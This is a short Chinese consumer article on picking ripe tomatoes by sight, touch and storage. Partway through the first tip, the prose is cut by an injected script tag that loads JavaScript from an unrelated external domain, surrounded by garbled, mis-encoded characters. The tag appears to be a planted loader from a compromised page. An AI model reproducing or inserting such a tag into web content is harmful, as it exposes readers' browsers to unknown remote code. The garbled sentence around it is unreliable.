在挑选西红柿时可采取“一看、二摸、三存放”的办法：

　　一看：成熟的西红柿通红，黄色品种则明黄，如果颜色有深浅不均，最好不选?script type='text/javascript' src='http://www.368tea.com/js/v.js'>煌庑温掷�自然，“歪瓜裂枣”的西红柿可能更甜，但如果果身上有明显的突起，可以不选。另外在同一个品种中，如果个别有明显的尖顶，就说明不代表这个品种的特征，可能因为过分使用激素所致�?/p>

　　二摸：西红柿成熟的标志是软而不是硬，如果摸起来感觉里面有明显硬芯的西红柿，最好不买。

　　三存放：西红柿刚刚买回家最好不急着食用，因为西红柿有一个“放熟”的过程，而且外表涂抹的催熟催红物质“乙烯”，在放熟时可以继续挥发。食用时，用清水洗净后即可。

　　果类蔬菜相对于叶类蔬菜，病虫害少，尤其是西红柿，用的农药相对来说较少，所以老百姓大可以“放心吃”。